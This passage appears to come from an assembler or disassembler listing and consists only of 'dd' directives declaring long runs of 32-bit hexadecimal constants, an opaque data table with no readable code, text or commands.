		dd 24BF18C2h, 3280D0Eh,	0E0BC84ADh, 60E799F0h, 5DAC8750h
		dd 58688A00h, 4A0AC66Dh, 0F1011E35h, 2B179Fh, 9CDD1D24h
		dd 0B01CDA3Ah, 4FC0D1ADh, 1067084Eh, 7704EDCh, 25A84B8Ch
		dd 0E4CC0B3h, 0B500A381h, 93F1746Bh, 98C4766h, 0CF16C02Bh
		dd 0BABDD480h, 2600A471h, 5346406h, 91AFE3h, 0BF257EB6h
		dd 7BC23073h, 79000E75h, 57EDE2C6h, 488AD5A3h, 0AA285A41h
		dd 0DE871190h, 513D8090h, 0F4FC157Ch, 0B0F3003Eh, 0D186C457h
		dd 0DC00770Ah, 0F4D7887Bh, 377A5978h, 70C15E12h, 7F7379E1h
		dd 8C3AC628h, 0BD069398h, 8B77A272h, 239E1D68h,	82EB8087h
		dd 57F4B333h, 48009C9Eh, 812AA24h, 0BEBC1751h, 34F44128h
		dd 0CD41F836h, 28B6C5E4h, 0A09000CCh, 626EB745h, 42C25826h
		dd 9B73E900h, 7172698Bh, 0FF5EC000h, 0EDC12A3Fh, 0D6BC18EEh
		dd 207DA845h, 33721807h, 7720BDCCh, 5D866201h, 3900F80Fh
		dd 3772DF99h, 0FC008C1Ch, 47D08E0Eh, 941D3ABBh,	43CA1D1Ch
		dd 0A139FECFh, 5C7014EAh, 9C1C89E8h, 0F64113A6h, 9EC6A84Fh
		dd 1D213080h, 0E4B2A4Eh, 757CC0C0h, 0EB4F62h, 79674C76h
		dd 0E1A48C3Eh, 0FC11DC00h, 0A6ED1D9Fh, 9438E1B2h, 871E429Eh
		dd 32101F3Dh, 0F6020C71h, 2058BB85h, 6AA59002h,	87FB8AA4h
		dd 1E32B1A0h, 90C3B7h, 0BA1AB9E1h, 0F493D7E7h, 4E49D400h
		dd 3BCF34B7h, 0B0F600E9h, 0A86659A9h, 1500DCD2h, 0A53C969Ch
		dd 56451Fh, 0D3FAC4F9h,	0DED8E84Dh, 2955CE40h, 7E023E6h
		dd 0C7C4BD5Bh, 89FEE6FBh, 18384894h, 3D89378Bh,	1BAA0E95h
		dd 0C0BC1281h, 0CEAD31D6h, 3E0070C9h, 8A7DA256h, 1092D03h
		dd 0CAFC2955h, 0FC434AABh, 800002D6h, 0E840CC1Eh, 0B6D049h
		dd 0D4811492h, 3B697CF6h, 0F864992Ah, 0E0AD5D1Ch, 14F33F04h
		dd 6B0B2C90h, 4ECD16B3h, 22E480E2h, 7200E72Fh, 0EAE939F7h
		dd 1C522797h, 0C1C5047Bh, 0D590C4BBh, 0E04180CCh, 1E0ABE43h
		dd 59351323h, 0DA180027h, 5226CAF7h, 685FC707h,	18008692h
		dd 2E3856CDh, 95AE55Eh,	9002C947h, 5C40680Dh, 8503490Fh
		dd 8C446E59h, 5A81E8E0h, 33EE13A0h, 3FB0004Bh, 30580C21h
		dd 48860903h, 1FD7CFAh,	0F3631388h, 41400215h, 2C2747C4h
		dd 5CA0E7A0h, 35DCFF4h,	0BC39A5E2h, 70F82143h, 12045E7Ch
		dd 5BCEFA10h, 40AE2B0Eh, 9A423703h, 9C6097C0h, 8C7DAE01h
		dd 521AAB5Eh, 0C72896h,	45C30C94h, 5B307A8Bh, 0E6DB18AFh
		dd 2B280072h, 0FBBA45Dh, 0F8048E25h, 7D7309D4h,	1CE30EC0h
		dd 0BE2C02EBh, 57B78B7Ah, 0F5F62469h, 2D783010h, 62CCA77h
		dd 5C00E4B4h, 0D717784Dh, 5D971F2Bh, 0F7448070h, 867DACD2h
		dd 3CF56A3Bh, 8B7B0523h, 0EC5CD3B4h, 4DE73040h,	48287FFCh
		dd 0D8009344h, 0B2F49DAFh, 0B700437Dh, 7614DBA0h, 0B7BA9BCCh
		dd 4E89D5C0h, 661B4C00h, 812DF875h, 0D3620006h,	30FCC9Ch
		dd 9B0074CFh, 0A6796A63h, 3D932339h, 0AB89AE97h, 0C98F33C0h
		dd 9C0765h, 5BBC57A0h, 4500C57Ch, 0BCCB989h, 48AFA1DCh
		dd 287D1516h, 1EB1243h,	0D0EE97FAh, 640E99DAh, 0BC012908h
		dd 0E6868008h, 2CF4CDDCh, 487C01ADh, 7BF770F0h,	85E8C007h
		dd 62EB1500h, 99EA5531h, 0BDA9008Fh, 5F63FE41h,	731D3423h
		dd 25C0B1E0h, 0D87C5859h, 0E720053h, 0D1C22E09h, 77000756h
		dd 12AD416Fh, 3F6B3032h, 0C500B2DFh, 0FC23B44Ch, 0E217F43Ah
		dd 2C40D9CDh, 3B6646DAh, 0B08F00DCh, 0BAD7CAD5h, 91003C4Ch
		dd 0D994391Bh, 2830A8E4h, 70E8D267h, 192B1FB0h,	811070B9h
		dd 101F9F7h, 6B8EB2A2h,	18702F3Eh, 0E9EE00C3h, 0F404C7F3h
		dd 8600501Dh, 2D53694Ch, 1FA38D62h, 774175Ah, 50F0654Dh
		dd 0DFC4A088h, 0E34B3Ch, 98A537DCh, 98592B8Dh, 0E15A0021h
		dd 0EC55F328h, 950099CEh, 33250CFFh, 237421h, 0E001A09Eh
		dd 0DEE3C1A5h, 0B6990F0Eh, 0C8D7800Eh, 0FD5EF6h, 0FA6F2AECh
		dd 1984A8D6h, 0DEB85F50h, 8BEF3300h, 2EB7B3A0h,	5E9200D3h
		dd 3684ED11h, 0DA0E3D09h, 0AEFB246Fh, 21FFC9BFh, 0DDFA1C50h
		dd 6FE034h, 43F7956Bh, 0B5E42A6Eh, 14777A00h, 0D89D9730h
		dd 520B2A6h, 0AD7CC5FBh, 0A84CD344h, 2DE488D4h,	16D91C13h
		dd 0E5155440h, 0A02A73h, 0A73996E3h, 8B7067B3h,	0D44E792Ch
		dd 0ECFC80BFh, 2FE0129Eh, 7F5F7438h, 8CEE45h, 3C6413CBh
		dd 1EAB6281h, 900F285Ah, 0AF00109Ch, 20D995Bh, 0CA00E831h
		dd 9127F447h, 66B419h, 0FB87C950h, 8B2BC041h, 0D9C6A600h
		dd 94481822h, 49DB0B4Fh, 0BA009BF0h, 4565097Fh,	742E2C00h
		dd 0D5895068h, 8C7C02BFh, 355B143Eh, 0A0EE1CC0h, 8C0C4726h
		dd 0DBC2D04h, 0CB268300h, 6CE7DB27h, 0BA471F3Ch, 33CD4D80h
		dd 173DE0Ch, 9B0E526Fh,	0F8F3C597h, 1500F655h, 81FF17E2h
		dd 5E7E5166h, 3168009Eh, 3424B48Eh, 0EAA4C100h,	0F3DE45D2h
		dd 0C0D71F59h, 6DCB0076h, 0AB329E1Dh, 2B006FEEh, 7F48828Dh
		dd 0A79766h, 7C8780DAh,	32CF0D4Ah, 0FD0BB1FAh, 25D2301Fh
		dd 38A3A6E0h, 1710CC80h, 0C801F652h, 0AE0B7109h, 58607F82h
		dd 8EF4001Dh, 0C7A08789h, 0B400339Dh, 0B16F2B6Dh, 307D2902h
		dd 2490CD17h, 6004D84Eh, 0A8C6B741h, 3F1BCCC0h,	982800F5h
		dd 0F4499D95h, 0CF60E671h, 3C0A7E30h, 0B08EC04h, 51A3A790h
		dd 18239061h, 852B07F0h, 3920D187h, 0C1E21D00h,	37007D0Bh
		dd 725E6289h, 0E23274Eh, 6A7A7507h, 0A1B42D43h,	5CC1F8A8h
		dd 3B60E300h, 6261DC2Ah, 11A3007Fh, 0C00F01C4h,	0C21FD3B7h
		dd 8D961619h, 0FA3E5403h, 0ACC0FCD9h, 2C9DAC1h,	1F6208CDh
		dd 8448F9C3h, 0E0C0BA8Dh, 9D586C63h, 0A350002Fh, 99554B6h
		dd 8000C7C5h, 0AC5BF7A5h, 3EA8E3Eh, 0E3FA6408h,	46882191h
		dd 250F06AAh, 203017B6h, 0B980D1Ch, 1C09A54h, 3EC7EBE9h
		dd 609D264Ch, 6D006CC5h, 310609BBh, 7E4D3537h, 414507C0h
		dd 7F222ABh, 6988A1AAh,	36BEC07Dh, 0EBE31F00h, 21F0A006h
		dd 0C02A4CE4h, 0B2149805h, 968C800Fh, 0AC1CC6F9h, 0C24056EBh
		dd 0DFC1586Bh, 0D6AB0752h, 11892C61h, 39CBED30h, 0AA298048h
		dd 5EB2FE08h, 0E9AC42DAh, 8860C92Dh, 6F0C4CD9h,	10CE9C4Dh
		dd 0B94439EAh, 0CD5C2400h, 3F478775h, 7F0237E2h, 2DEC82D1h
		dd 0B4F04Dh, 5A09C744h,	3606D628h, 0A0BC3271h, 80E1B108h
		dd 624601D0h, 60C7E3C3h, 0F58024EFh, 0B6F2E92h,	36483EF2h
		dd 0E6F14C98h, 0DF087B00h, 6E4A33A2h, 7AC9031Eh, 0CC911972h
		dd 6A77A6F8h, 0CFB11B03h, 0A2A346h, 0C3496E10h,	0F2E4DD0Ch
		dd 0E52B4F09h, 609D80F6h, 8167A2h, 1BB0C8A9h, 2841DA02h
		dd 1A8A8530h, 22F14F7h,	0ADC2D9F9h, 0D463B2BFh,	321D0FB0h
		dd 1A6BE707h, 0B41091D8h, 1763338h, 0DF78215h, 0C704C954h
		dd 641BDFB0h, 7BBE4900h, 7C1E1F76h, 671D483Fh, 8069AA13h
		dd 0F4387904h, 0EE2B401Ch, 8BD4B204h, 2ACBC4C0h, 4CE584Bh
		dd 523FCC03h, 6C90221Ch, 1F246979h, 0C50F349Fh,	0F28C8058h
		dd 0E082142h, 0B8B08885h, 0A3457B80h, 9090F9F0h, 7F00CF98h
		dd 0EDEA0E05h, 2DBD3BFDh, 0DC006581h, 0B4486777h, 27BFBC09h
		dd 3434015Dh, 2E01B7A0h, 0DF652033h, 450E2B00h,	2A9960A4h
		dd 444B1265h, 7D208F7Bh, 54C0DC4Ah, 7DBFB88Bh, 516E005Fh
		dd 53440E33h, 0A61745FCh, 741CD110h, 0B7FF4F40h, 76A0D4h
		dd 69B36373h, 7B06D734h, 0F20033E8h, 16591994h,	878D58h
		dd 8C505EAEh, 0C038B27Dh
		dd 0AA751001h, 7C5916CCh, 64AB60h, 90C6E186h, 7712A9C4h
		dd 3A0F4AF6h, 0C0EF5575h, 0C7675EA8h, 1E8C3F2Dh, 6A0DB580h
		dd 0D14CF335h, 557BE91Fh, 4BBCD580h, 3BE533F0h,	160079B6h
		dd 9CB58E28h, 9200A415h, 0A53220F4h, 3E7649h, 93972AFDh
		dd 0D44E0DD6h, 9E8A5F07h, 99C03FD3h, 9B8FF2Eh, 5593FE44h
		dd 9FCC3860h, 0D626C700h, 0F0DDE009h, 90B475CDh, 53FE47h
		dd 17227545h, 0D6EA355Dh, 0A1F61F00h, 10B38997h, 58EC5Ch
		dd 195D1CD3h, 3F2798E7h, 94DED01Fh, 0D65760B0h,	1414AD8h
		dd 729DC498h, 715720A2h, 0A1BBAE16h, 0ADF63007h, 0ADC1B6C5h
		dd 38808551h, 53163255h, 0A10E8938h, 80B13E6Ch,	0C04BAC28h
		dd 0BCEC0009h, 4A8FA9F7h, 0A4EA5599h, 88945703h, 132F2ADh
		dd 3172B559h, 8252B342h, 0C8BF8E91h, 56000F41h,	1C680E7Bh
		dd 0C16A6200h, 519E5C95h, 308F0CB3h, 58295302h,	0A9650107h
		dd 16E012D5h, 8AEAB7h, 6FED460Ch, 0B1BFDB20h, 35583200h
		dd 8E55F089h, 0BCF0048h, 191611FAh, 0E0B8A19Ah,	2C625D00h
		dd 29789836h, 0CEE8D0h,	96A91748h, 0ABA542Eh, 8BD80200h
		dd 0B836B4D5h, 31C403CEh, 9E856558h, 0FBD90F80h, 3A2E5101h
		dd 80299472h, 1FD28BE8h, 0E7A4DA83h, 2CE0D4AEh,	5639874Ah
		dd 5468C700h, 0AD519430h, 0B45A000Eh, 0A57D061Ch, 8F28ACF9h
		dd 0A03DC88h, 0B5577E52h, 0EBD4F251h, 507C700h,	18FE59CCh
		dd 18B084E1h, 2003FD2h,	0AF9FD927h, 0C5CDCBEh, 381EC1B3h
		dd 0A000ED31h, 0AEC2AD7Fh, 158B6DEh, 0AA97FB5Ah, 9E50EFFFh
		dd 0A981D661h, 0D690C43h, 318DBBD0h, 0DE819C83h, 717180BFh
		dd 0E5DC18C0h, 0CF32090Ah, 30100C01h, 29004EFDh, 0AA873E05h
		dd 0D6450Dh, 40E3E71Eh,	987DA5C4h, 0DF002A74h, 0AC292389h
		dd 4A0B55Eh, 0BA90779Eh, 0E1A3873Dh, 0ECE8684Eh, 722C99A3h
		dd 510E6D56h, 0E0836FA7h, 0AAFDED2h, 0E0AFB0E1h, 55220F04h
		dd 0B2808B30h, 0B3157260h, 3516C200h, 0D39839CAh, 0D579039Ch
		dd 33E6C562h, 380118D6h, 3B55462Dh, 4F0C652h, 1921867Fh
		dd 22E92662h, 51B2220Ch, 1184C8F6h, 3050DB6Dh, 0ADB54933h
		dd 18DA6F06h, 0C5B27562h, 96812601h, 62CA0881h,	20CC34A9h
		dd 0A230BABEh, 89B3183Bh, 0E1B23370h, 8103EE50h, 8633BCA7h
		dd 4B383D25h, 0E221FB03h, 28C1ECFDh, 0E011E001h, 0C453B3Eh
		dd 719AB18Eh, 282C78E3h, 780897B3h, 1FB43023h, 0B2C77B71h
		dd 0ABBE4EC0h, 52364E68h, 8B0694D5h, 0F84C1B0Dh, 80847137h
		dd 2853C5E0h, 767F06C0h, 0D037F680h, 0B5759915h, 1F3A788Ch
		dd 418EF08h, 0D741C3DFh, 0FC587F7Dh, 0F2FAE94Bh, 5595E000h
		dd 0A8E235A2h, 46EA0012h, 0CCB58A9Bh, 0C6024E52h, 80F738EFh
		dd 0D99CA03Ah, 330742Fh, 0C6114D62h, 8307384h, 27C421D2h
		dd 0FE020074h, 6019152Fh, 80224D89h, 228600E6h,	0F7F3B23Ch
		dd 0BA03639Bh, 6D7FFBD5h, 0BE9EC0AFh, 6A7FE68h,	0D935423Fh
		dd 3900E1C3h, 92BDFDD8h, 19E4F8FFh, 8F1B73Eh, 0F7218063h
		dd 4A0DBDF5h, 0E94E006Dh, 9B5073D4h, 80347E0Ch,	99C0818Fh
		dd 7FA1B8h, 76879F8Eh, 3F89BF31h, 60611490h, 0B1C22AE9h
		dd 0D6FB850h, 61740E79h, 500070CBh, 1BCF5C0Eh, 9975E000h
		dd 0C8A26BF9h, 0BF740F87h, 0DFA0CB8Eh, 511CA60Eh, 0EEBE6200h
		dd 34C012B4h, 89DA60DDh, 75667939h, 25BBD203h, 0A8F3081Bh
		dd 2575BE3h, 0F28D610Bh, 0E8A0C9ACh, 34F9EC93h,	1F491DE8h
		dd 79037CB0h, 0B08C0E29h, 0B72900FCh, 0B6D19862h, 4E2435B8h
		dd 6B80341Eh, 0A70659DAh, 914B1FF0h, 56F10741h,	0FDC52036h
		dd 3875A92Bh, 2904F4ACh, 3D623274h, 0FA20AE62h,	247421h
		dd 87B437BBh, 81828FBEh, 26853E18h, 0CE3BC0B8h,	71CEAFA9h
		dd 5D19B9C0h, 0B85CF653h, 0F8A9000Ah, 0ECBBE696h, 13781884h
		dd 334EB027h, 0DA70B9C3h, 603FEA6Ch, 14FC90A0h,	8CB161A6h
		dd 99C5280h, 933F72F0h,	708B072Bh, 0BBB39546h, 0B4A2A8BFh
		dd 94A500F3h, 0EE552EA3h, 0ECF0CF62h, 6BD7600h,	57B7950Ah
		dd 0B8721D37h, 637A422Bh, 40D513DFh, 1E713B0Bh,	0C661A5B9h
		dd 79C72E8Eh, 5FE0A702h, 0C06BBE19h, 0E435FB7Fh, 0E3750CF7h
		dd 2FF91C33h, 7826CCA4h, 1001815h, 71ABB662h, 0CF670473h
		dd 908FC29Fh, 2B7E2434h, 662C1D00h, 0CB5BA796h,	0A2DC007Fh
		dd 8053EC43h, 0CF0CE095h, 58C32DC0h, 0CB6E008Dh, 0F0C93ABAh
		dd 817730C8h, 4E0067EAh, 11442DF3h, 0A578DEh, 0D52EE269h
		dd 0ABB2EC49h, 838FCE00h, 77E9D3D2h, 5D2A1C24h,	0E58800FAh
		dd 3D0A9E3Fh, 0D600B0F8h, 9127FB70h, 0E83E581Eh, 0A222184Bh
		dd 94487C9Bh, 81442A0Ch, 0C05C08EDh, 8F1CDF21h,	0AC0C65F5h
		dd 180247ADh, 3C0C00C5h, 42E08325h, 217EB81Ch, 0F41BD001h
		dd 8E924A6Fh, 2242881h,	8046AC33h, 0CE184239h, 71CF316h
		dd 8DB5502Dh, 197432Eh,	108C2000h, 0EEAFAECEh, 27E26Ah
		dd 0A8EACCE9h, 0A089C55Bh, 0C8327836h, 28222931h, 18595968h
		dd 0AB8B003Fh, 0EF519FB2h, 5001F1B0h, 599C0136h, 0B8914A6Dh
		dd 0CE419E1Fh, 0CDBCF312h, 3240B00Ch, 0CE1D0060h, 342D0E0Fh
		dd 7802BF3Dh, 16FB775Dh, 0F1AEE192h, 454D8C40h,	0A65A0343h
		dd 0EB549DCAh, 800C52E9h, 0FE948410h, 16B43Ch, 58153366h
		dd 1E99DDF9h, 2272A40Eh, 9C31C3EAh, 304E9877h, 0EDF50355h
		dd 8E0CB536h, 580A7B80h, 0CB779700h, 2B7321B7h,	115F021Ch
		dd 0E55D6076h, 96268540h, 0A8174E04h, 71800BD3h, 1DAE88h
		dd 0AB7BF90Dh, 85909FF0h, 0B1A40700h, 0C96FD423h, 0F1FF004Fh
		dd 88E643E1h, 0D500FA93h, 55BCDE25h, 9A9681Fh, 869D972Ch
		dd 0D175F00h, 0DB00A1E4h, 525D3423h, 0E2DA1Dh, 86D6A338h
		dd 8574D5DFh, 18D604A7h, 10D1B9EEh, 80EBCE7Ah, 358F2DD0h
		dd 0AE24CDh, 6B1E7933h,	0AD66E96Dh, 0F1127AE6h,	0F806FEE3h
		dd 2029379Ch, 363B76E7h, 0CA19007Dh, 6EF4D243h,	55230737h
		dd 6015300Bh, 9773FDABh, 70B80D00h, 5139AD0Ah, 6C57009Bh
		dd 20FC6D85h, 9D1CAA90h, 0A640DB80h, 0D3F1CE0Ch, 6F98C8h
		dd 8B97BF68h, 3A9A1036h, 0AA0D0900h, 64D908CCh,	0D1CD2FAEh
		dd 9100E078h, 0FA353A7Ah, 3C39A298h, 298082DDh,	59AA715Dh
		dd 99007785h, 8109B14Eh, 0E890AEh, 0B26266DEh, 0E47D2D56h
		dd 0BF012BE8h, 4A53B3D7h, 5AF8B7F4h, 6CCB00D2h,	63EC9AABh
		dd 0F5008E3Fh, 4E953C66h, 412534h, 422733C9h, 1A84CB51h
		dd 80F6F43Eh, 0CE0549F2h, 956D64h, 3FFBCA70h, 0DB19628h
		dd 1FA76700h, 839BA82Eh, 60CCFCA6h, 0DCE21021h,	48001C4Bh
		dd 557E89B6h, 3D0E65Ch,	0C0277FEFh, 43B84E9Eh, 0C41D60FBh
		dd 263054F8h, 33D3F9Dh,	2B0CCDF7h, 0DD80C80Eh, 0FD01A86Dh
		dd 5929C7Dh, 0F9C8CE9Bh, 442B0151h, 0FF4CA3DAh,	0E0102077h
		dd 5475600h, 0E86BEB0Ch, 0B0C500A1h, 469619DDh,	150050B4h
		dd 0D3CF0BD0h, 0CD42180h, 0D251E1AAh, 0C038FD4h, 0F6325549h
		dd 2CF8D036h, 2A9A00F2h, 11409EA3h, 84007C63h, 99F99479h
		dd 223DABh, 0C6C89C7Fh,	652CA7FCh, 9FAAB400h, 6C495CD2h
		dd 577900B7h, 0C3201BFDh, 88C48C1Ch, 31FC8186h,	0AF0AC107h
		dd 87CD3039h, 46242104h, 0DB0074C0h, 0FED9CF37h, 1E0BE045h
		dd 800FCD63h, 42468AD2h, 9D006FE2h, 0C806CF8Eh,	0ECE617E4h
		dd 6E60C094h, 0BE8391BDh, 0AD31DE00h, 0FBE396A6h, 0D2340168h
		dd 2EDC759h, 0BB118130h
		dd 48535B63h, 25CED980h, 3A5A8BDAh, 0E0A01900h,	8FD3F050h
		dd 0EEC700CDh, 6D49C521h, 7C008B6Eh, 2B169EE2h,	5A874Ah
		dd 4B737B5Dh, 40EE06CBh, 0B0D4370Fh, 0D9FAA2C5h, 5E807510h
		dd 0E816E70Fh, 0E2C8F907h, 272070B4h, 0E0DE6DF5h, 717300E1h
		dd 826F6E8Eh, 1D280418h, 8D01F075h, 0C6B1A909h,	96E8EB1Eh
		dd 0BF7F00A2h, 0B6ABCEFEh, 0FF006A57h, 349F3787h, 0A18D6B0Eh
		dd 18279C90h, 506ACF48h, 0FA600010h, 0D9196387h, 90A5BE00h
		dd 0BA5E62FEh, 0C6DA09F3h, 8219DD1h, 503E590Bh,	1C13A4ECh
		dd 19AAD00Bh, 7AF1807Dh, 28C6D572h, 1EC5A60h, 9A684794h
		dd 80CD3CE0h, 8BEBD5C1h, 414C458h, 0E694953h, 804085E5h
		dd 4D7A3A13h, 68769F00h, 847F2658h, 1408FC39h, 0C2EE6C9Bh
		dd 0AA6BBB01h, 80E6AD5Ch, 140F3338h, 1F401E87h,	92BADA86h
		dd 0DE9C0148h, 80242FA5h, 8DD9D429h, 3F8A01h, 0E7C46260h
		dd 9C2609B0h, 710B8301h, 957E064Bh, 0C9C42021h,	6ADD027Bh
		dd 0DA027592h, 0D5102C48h, 93C7CE01h, 0FA30F5B2h, 0FE853A30h
		dd 0B42D26DAh, 7646005Ch, 0F5210A4Eh, 69D53A00h, 0BB22E7F9h
		dd 579A0044h, 0D7BEE05Ch, 8900300Eh, 0B8C6FAA8h, 0AED585h
		dd 0A0318D36h, 3FE8C92Eh, 0EABCED00h, 7658B250h, 5975077Ah
		dd 0C79A0Bh, 1CEEC2D2h,	7311DA01h, 76F16F48h, 0C860F4h
		dd 218A2468h, 79C41AE7h, 908BD000h, 0A1FC549Bh,	5E441220h
		dd 1B44F91h, 0BD0C8D49h, 3238C630h, 1810033Ah, 6932025h
		dd 0A1EE43F8h, 2AE6203Dh, 0FF645603h, 81086D9Bh, 2980EC83h
		dd 92781B3Eh, 3100CA7Ch, 0B2A95072h, 1C6D9962h,	53AF7B77h
		dd 1C930037h, 5D44B95Ch, 405C2060h, 302F862Eh, 61999398h
		dd 0FD1CF23Fh, 0E3C92CFFh, 4E183056h, 0B5AA00EAh, 0A16A62BBh
		dd 0F03C4121h, 7C2D800Ch, 0B45CB053h, 0F1E8A83Ch, 425B010h
		dd 0F2978AE7h, 0B76880F5h, 1D6E696Dh, 8F098018h, 254A295h
		dd 0D903DCE0h, 6840E31Bh, 610EAD0Dh, 40CE86BDh,	0FCB69104h
		dd 369B0044h, 0D66F198Bh, 3D52AA74h, 0A913A24h,	0D34D1672h
		dd 0C25FBA02h, 0BB7FE055h, 0AA4A00B6h, 0DC2F9C52h, 542CA3D1h
		dd 7300545Fh, 0C3D88C3Ch, 65C91C68h, 408E1D0Bh,	50CCFD84h
		dd 8C30296Dh, 80E4C0DEh, 0A032B0CEh, 76C2478h, 1B3F6E19h
		dd 28C6F04Dh, 0BD0A1377h, 982C1748h, 66BF2907h,	0CF5DF511h
		dd 8738FC50h, 88F41CCCh, 536400CBh, 0A47F811Dh,	6A25EC00h
		dd 0A85678ADh, 91D97E95h, 0C3AB8820h, 286C52h, 3FC814BDh
		dd 0B40C9BF8h, 0F1EB7600h, 81E6C0E2h, 38870058h, 25EE7733h
		dd 5A288DADh, 8526A441h, 7B805C5Eh, 5B069A9Eh, 89B00FDh
		dd 0C59FA329h, 86FAB424h, 0E17BD703h, 0DB04F2C6h, 87879E0h
		dd 3D06103Fh, 41344982h, 0E8044B6Fh, 0B21329h, 0EE8D67D5h
		dd 0EE4A53Bh, 0AFC2FF00h, 0D33AC4Ch, 16B27AD2h,	40807A55h
		dd 4FB9529Ch, 0C9F0A037h, 7800087Ch, 3E14570Bh,	4D12ADE1h
		dd 0F100341Bh, 0B944FEBBh, 0E700A93Fh, 0C07FC2DCh, 135315h
		dd 7B72FB23h, 272C8A19h, 4735D400h, 7AB048DEh, 56551853h
		dd 9CD610FFh, 3430AA07h, 799088D5h, 153D2F22h, 94703BD9h
		dd 9FC0528h, 86B01BDBh,	47F81000h, 3C005A30h, 0B641A71Fh
		dd 58174A7Eh, 73039C42h, 0BCF6AD62h, 8084113Eh,	0E2D7E31Eh
		dd 0FCDCCD4h, 0F3F2C5EEh, 87F82580h, 3F2C5C30h,	0C21D347Fh
		dd 0FC0ED940h, 17B8863Bh, 0AED343h, 92C0A4F4h, 8F00C369h
		dd 489F7F50h, 7AC90Bh, 0F53ECF84h, 0B5407D81h, 3CDED600h
		dd 3B46B672h, 0AB4800DCh, 0A905193h, 0D107F657h, 0B59D379Eh
		dd 8494C8A0h, 0A0DB00CBh, 8D5AF34h, 0CD002AB3h,	3E9F5D05h
		dd 0BA7F38h, 83047BE4h,	91F1E251h, 0F845BE00h, 0A7695711h
		dd 4A75043Dh, 0A0D9420Ah, 0E2021AA0h, 793930E4h, 57F0A0B5h
		dd 9D0EA2h, 0D912B0EEh,	43C88CAh, 5C48862Ch, 0E58A4D87h
		dd 30A49E91h, 0EE8864h,	930F10C7h, 850B9965h, 17743259h
		dd 0EF00084Ah, 0C5D8EF78h, 6DC90041h, 0CA0B5DFCh, 0DD009447h
		dd 4B74F4AAh, 3BAFEB8h,	0CC4A421h, 0A8C6E5B1h, 0C8938513h
		dd 8ABCF440h, 0B3F6C768h, 0A4ACC8h, 6C638B96h, 0EC0B17ABh
		dd 0A0A44AB2h, 3E945F88h, 61461286h, 875040D1h,	0B3D6CD6Eh
		dd 94651D00h, 0C8A82080h, 0C6B15C14h, 2B58B600h, 8777A356h
		dd 0D1768630h, 240CFCC7h, 80A0AD0Eh, 7F8F75EFh,	2E2CF595h
		dd 92033C31h, 0CF83BA25h, 724B2F30h, 4A66072Bh,	20A907EBh
		dd 0F6770A5Ah, 0F050D9EEh, 0C3015CBCh, 0B6B5C7FFh, 0DC217630h
		dd 0DF0C30h, 2D05D681h,	0D7CDFED1h, 21E7AC00h, 1D86B4A3h
		dd 2C70E6BCh, 80CCD030h, 53BF642Bh, 0EF98118Ah,	24C2FE00h
		dd 8E0876C9h, 3CBD139Eh, 7D20077Bh, 0DF1790FAh,	0C38FD47h
		dd 0EB4D0206h, 62F3E1D9h, 2E10589Fh, 49548AA6h,	0F7BA2498h
		dd 204B34Ch, 5E61CF8Ch,	6E38EAB1h, 6C4F13C8h, 0AC000C3h
		dd 5AC97D4h, 0E2424B00h, 0EFF181D6h, 0C6DF02C8h, 0C1609AC5h
		dd 0FEAAF882h, 0F180A465h, 0E4C591CCh, 0CBDD0053h, 0F9825E32h
		dd 4C25BD8Eh, 5C581095h, 0D1802E1Dh, 3F102A3Eh,	898CB520h
		dd 0C5C16310h, 0BDAA3A00h, 4A4F0B72h, 189760E5h, 38641488h
		dd 0FA77D900h, 55683E1Bh, 45041D6Dh, 0C989C01Dh, 0CEEC251Ah
		dd 78473800h, 8D562687h, 3C9F00AFh, 341D0779h, 0D500E275h
		dd 59429A4h, 0A3E4D9h, 6787C48Bh, 0EF6E737Fh, 1E6AF000h
		dd 0D954A068h, 0A2221E99h, 0CC340FAh, 4FB4D89Eh, 0B62EAD0Eh
		dd 86F8A00Ah, 1BFEDC33h, 0D8FC8201h, 0D3409288h, 7DB6FB00h
		dd 6C2D66A8h, 52811B43h, 8ACAD09Ah, 532F7848h, 1560394Ch
		dd 158C2363h, 48885ACDh, 12858B8h, 0A46E4412h, 0E130C7A3h
		dd 0BDFF22Ah, 0B70FD7AAh, 0AC0D5D00h, 8803843Ch, 2F483DF6h
		dd 0DE9AB84Ah, 697AD8h,	0C8F31794h, 0C5721B6Eh,	74E27300h
		dd 0B93E0E70h, 0AC1D00A7h, 10E5575Fh, 0AE01B572h, 4E555D2Fh
		dd 5E4567Eh, 71743E47h,	9B086A80h, 0D0586CE8h, 1A9A5013h
		dd 0DC02F807h, 1BA61370h, 76200AEh, 0A7416EFAh,	0B500F226h
		dd 82D04587h, 2C0E59h, 0B94E818h, 531021F7h, 470028F6h
		dd 37AE355Bh, 2631E5B8h, 1DE0D463h, 0C040D23Ch,	297C481Ch
		dd 2E92BB00h, 5201884Ch, 0C1450253h, 0BD0F7042h, 0F0E85C61h
		dd 0F500BE25h, 6BC51863h, 0F033C6Eh, 0DDD3EF8Eh, 1AD5E920h
		dd 4400BF70h, 8DFA236h,	21B43Fh, 0A960825Ah, 4D37641Eh
		dd 43716800h, 63304EF7h, 0D37AEEh, 0FF07D8Bh, 9C292360h
		dd 52265903h, 0E8CA38FAh, 0A823F0Dh, 80203961h,	0B19C02E4h
		dd 0CCC1AE53h, 9590D333h, 7A00F21Ah, 8E45691Dh,	4C529FA8h
		dd 0A048CA3Ah, 4D862900h, 6454A1C8h, 195FCF00h,	24FEB4ABh
		dd 970B24A0h, 2FD4099Ah, 0F2DD3880h, 0C000C892h, 0EAAAB1B9h
		dd 0B4E96Fh, 9DA2C3E0h,	18CB737Bh, 0CFA1CD00h, 5DB2FC5Ch
		dd 672200B7h, 5E72A54Ch, 643C119Ch, 0DABC0014h,	0DFDB28E4h
		dd 37A10778h, 0BE867DB5h, 0F3FB19E0h, 0A600B724h, 4ED43D11h
		dd 1E8894AEh, 79EA0BDh,	3067FA48h, 7F3943BBh, 0C20FC300h
		dd 0CFA2FBF5h, 4932004Ah, 7BDB488Fh, 0F91DB3EAh, 0E7403A11h
		dd 61EFB099h, 30D75854h, 4213DD03h, 47F05365h, 51009C7Ah
		dd 0BC7C1AA5h, 7D7240E2h, 27A01D9Dh, 70898073h,	213452CAh
		dd 28B26100h, 6EE40A0Fh, 6C7A1690h, 44C4009Bh, 0DDF2A834h
		dd 97FEA001h, 136025AAh
		dd 1FF05231h, 0E2FD09E6h, 9A00353Bh, 0B490767Fh, 0A1F538h
		dd 80FEEB5Eh, 0BD6E799h, 4DF34A65h, 0AAD0C021h,	698770A5h
		dd 0BA899F00h, 1AE9D8A7h, 54720307h, 0B49AE1FAh, 0F5927FC0h
		dd 7BF65201h, 296B0D8h,	3A33A880h, 3FD3C4BFh, 8AE76700h
		dd 0CB49F1AFh, 70715826h, 0D7D0B61Dh, 227840F2h, 112EF7C2h
